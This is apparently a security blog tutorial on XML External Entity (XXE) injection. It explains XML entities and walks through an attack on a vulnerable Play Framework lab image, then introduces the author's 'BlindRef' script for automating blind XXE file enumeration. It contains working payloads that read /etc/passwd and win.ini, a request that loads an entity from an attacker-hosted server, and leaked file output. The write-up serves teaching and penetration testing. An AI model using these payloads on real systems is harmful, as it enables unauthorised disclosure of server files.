Exploiting XXE

XML External Entity (XXE) Injection:

The vuln that keeps on giving...

XXE Injection can occur when XML parsers are overly permissive in their configurations and allow for the processing of external XML entities. These external entities can reference files on the local file system or even share drives. The successful exploitation of XXE can result in the ability to compromise sensitive configuration files, the mapping of internal networks, and even the sending of email.

To best explain and demonstrate the exploitation of XXE, we must first start with the basics - XML.

What is XML?

XML stands for eXtensible Markup Language.1

  • XML is a markup language much like HTML
  • XML was designed to store and transport data
  • XML was designed to be self-descriptive
  • XML is a W3C Recommendation

XML Tree Structure

Here is a sample XML structure for a shipping order:2

<?xml version="1.0" encoding="UTF-8"?>
<shiporder orderid="889923" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="shiporder.xsd">
  <orderperson>John Smith</orderperson>
  <shipto>
    <name>Ola Nordmann</name>
    <address>Langgt 23</address>
    <city>4000 Stavanger</city>
    <country>Norway</country>
  </shipto>
  <item>
    <title>Empire Burlesque</title>
    <note>Special Edition</note>
    <quantity>1</quantity>
    <price>10.90</price>
  </item>
  <item>
    <title>Hide your heart</title>
    <quantity>1</quantity>
    <price>9.90</price>
  </item>
</shiporder>

XXE Synopsis

The XML 1.0 standard defines the structure of an XML document. The standard defines a concept referred to as an entity, which is a storage unit of some type.3

There are different types of entities, but the one we're focusing on is externally referenced. External entities are valuable to attackers because they can access local or remote content via declared system identifiers.

So what's this look like? Here's the 'defacto' XXE injection used for proof of concept purposes on *NIX-based platforms. The way it works is simple, a SYSTEM identifier is declared. The identifier references the local file "/etc/passwd" which discloses all users of the machine. The result of the entity 'xxe' (which includes the results of /etc/passwd) is included within the application's failed login response.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

For IIS servers:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

XXE Attacks

There are two primary types of XML injection:

  • XXE attacks which include output within the server's response.
  • Blind XXE - Attacks which process an entity, but do not include the results within output. We must instead entice the application server to 'send us' the response.

Attacking XML Parsers

Upon receiving user-supplied requests, application servers parse the provided data and process it to perform some action. Examples include:

  • Authentication
  • Transferring money
  • Updating a profile

Unfortunately however, XML parsers are often times misconfigured and enable the processing of external XML entities when they did not intend to. In addition, no sort of input validation occurs, resulting in the ability to reference any content referenced by an entity. This misconfiguration can result in the ability to access local system resources.

Once such example of a vulnerable application is the Play Framework:4

  • Play v2.1.0 - 2.1.4
  • Play v2.0 - 2.0.7

Proof of Concept

In this demo, we will exploit the Play v2.1.0 Framework by including external XML entities. Doing so will enable us to obtain file contents from the hosting application server.

This walk through uses a vulnerable image put together by pentestlabs.com, the image can be downloaded here

Login Request:

POST /login HTTP/1.1  
Host: 172.16.208.136
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://172.16.208.136/login
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

username=auser&password=apassword

Server Response:

HTTP/1.1 200 OK
Date: Sat, 25 Feb 2017 21:18:34 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2047
Set-Cookie: PLAY_FLASH="error=Error%3A+Invalid+username+or+password"; Path=/; HTTPOnly
Connection: close

(implicit session: play.api.mvc.Session)

Requesting with modified Content-Type:

POST /login HTTP/1.1
Host: 172.16.208.136
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://172.16.208.136/login
Cookie: PLAY_FLASH=test
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 33

username=auser&password=apassword

Response:

HTTP/1.1 400 Bad Request
Date: Sat, 25 Feb 2017 21:20:30 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1909
Connection: close

<h1>Bad request</h1>
<p id="detail">For request 'POST /login' [Invalid XML]</p>

Requesting Externally Hosted XML Entity:

POST /login HTTP/1.1
Host: 172.16.208.136
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://172.16.208.136/login
Cookie: PLAY_FLASH=test
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 199

<?xml version="1.0" ?>
<!DOCTYPE xxeElement [
<!ELEMENT xxeElement ANY >
<!ENTITY % xxeEntity SYSTEM "http://172.16.208.1/ev.xml">
%xxeEntity;
%content;
]>
<xxeElement>&xxeEntity;</xxeElement>

Receiving contents of /etc/passwd:

Automating Blind XXE Attacks

As a mental exercise, I thought it'd be fun to write up a quick POC demonstrating the ability to automate the process of enumerating local system files via Blind XXE. In doing so, 'BlindRef' was born. BlindRef is an infantile project that has much to learn, but in its current state serves as a research base while conducting web application assessments.

Note: This script is actively being developed as BlindRef

Preparing Attack

A few steps are required to setup this post exploitation script. For ease of use, we will be using BurpSuite Professional.

Is BurpSuite Professional required to use this script? No, absolutely not. But is BurpSuite kickass? Yes, Yes it is.

BurpSuite Professional

BurpSuite serves as a proxy. Using Burp's Extender, we are able to create custom modules and extensions to add functionality to Burp's functionality. One such useful extension is, 'Copy as requests', which takes a request and throws it into a python request using the requests library.

Introducing BlindRef v0.2

This framework can be leveraged to automate the process of file enumeration via the successful exploitation of XXE vulnerabilities.

Usage:

BlindRef_Attacker.py -s serverURL -p serverPort -r webRequest

How to use:

To use BlindRef in the most effective manner, the following steps are recommended:

  • Fire up a proxy of your choosing
  • Capture a request that you can leverage to compromise a local system file
  • Convert the request into a python friendly request (using requests library)

  • Save your clipboard as a file of your choosing. [For demonstration purposes we will use sampleRequest.py]

  • Modify the request by including the BLINDREF tag within the vulnerable parameter

BlindRef then automates the process of enumerating files of the hosting application server by iterating through payloads within the 'BLINDREF' tag.

Note: In its current state, BlindRef does not actively detect XXE vulnerabilities. It requires you to first determine an effective payload position. This will of course change in the future but hey, it's a start.

The operation has two components - BlindRefServer and BlindRefAttacker

BlindRef_Server: The 'brain' of the operation that hosts and serves entities to the vulnerable web application.

python BlindRef_Server.py -s http://172.16.208.1 -p 8080
Starting server on port 8080...

BlindRefAttacker: Instantiates requests to the vulnerable web server to kick off requests for entities hosted on the BlindRefServer.

python BlindRef_Attacker.py -s http://172.16.208.1 -p 8080 -r sampleRequest.py

Requesting contents of: /etc/passwd

root:x:0:0:root:/root:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/false
tc:x:1001:50:Linux%20User,,,:/home/tc:/bin/sh
play:x:100:65534:Linux%20User,,,:/opt/play-2.1.3/xxe/:/bin/false
mysql:x:101:65534:Linux%20User,,,:/home/mysql:/bin/false

These components can reside on separate boxes (additional enhancements will be made to this).

The raw code can be found on GitHub, here.

Let’s run it and see what happens..

Appendix and References:

ptonewreckin

I do things with computers. Sometimes it reminds me of the matrix. Other times its full-blown Simple Jack.

Subscribe to Hacking and Coffee

Get the latest posts delivered right to your inbox.

or subscribe via RSS with Feedly!